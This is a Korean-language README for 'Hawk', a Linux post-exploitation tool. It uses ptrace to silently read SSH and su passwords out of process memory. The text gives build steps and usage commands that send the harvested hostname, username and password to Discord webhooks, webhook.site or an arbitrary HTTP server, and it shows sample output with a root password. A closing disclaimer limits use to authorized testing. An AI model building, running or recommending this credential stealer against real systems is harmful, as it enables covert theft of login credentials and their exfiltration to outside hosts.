Hawk

SSH 및 SU 자격 증명을 실시간으로 조용히 가로챕니다

Hawk는 sshd 및 su 프로세스를 모니터링하여 대상 프로세스를 수정하지 않고 ptrace를 통해 메모리에서 비밀번호를 추출합니다. 쓰기 작업 없음. 순수 읽기 전용 자격 증명 수집.

데모

작동 방식

Hawk는 Linux의 /proc 파일시스템을 활용하여 SSH 및 SU 프로세스를 탐지한 다음, ptrace를 사용하여 연결하고 시스템 콜을 가로챕니다. 비밀번호 인증이 발생하면 write() 시스템 콜 중에 프로세스 메모리에서 비밀번호를 직접 읽어 들입니다. 이 과정은 대상 프로세스에 완전히 투명합니다. 자격 증명은 웹훅을 통해 유출되거나 stdout으로 출력됩니다.

자세히 보기: 블로그 게시물

빌드

GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o hawk

사용법

Discord 웹훅

Hawk는 Discord 웹훅을 자동으로 감지하여 형식화된 메시지를 전송합니다:

./hawk https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN

설정: Discord 웹훅 가이드를 따라 Discord 서버에 웹훅을 생성하세요. 자격 증명은 호스트 이름, 사용자 이름, 비밀번호 형식으로 채널에 표시됩니다.

일반 웹훅

다른 웹훅 서비스(webhook.site, 사용자 지정 서버 등)의 경우:

# HTTPS (auto-detected)
./hawk https://webhook.site/your-unique-id

# HTTP
./hawk http://192.168.1.100:6969/webhook

# Auto HTTPS if no protocol specified
./hawk webhook.example.com/path

Stdout 모드

웹훅이 없으신가요? 자격 증명이 stdout으로 출력됩니다:

./hawk

출력:

hostname=server01 username=root password=SuperSecret123

요구 사항

• ptrace가 활성화된 Linux 시스템
• /proc 파일시스템이 마운트되어 있어야 함
• 루트 권한(ptrace에 필요)

면책 조항

이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하고, 소유하거나 테스트에 대한 명시적 허가를 받은 시스템에서만 사용하세요.

크레딧

blendin의 3snake 작업에서 영감을 받았습니다.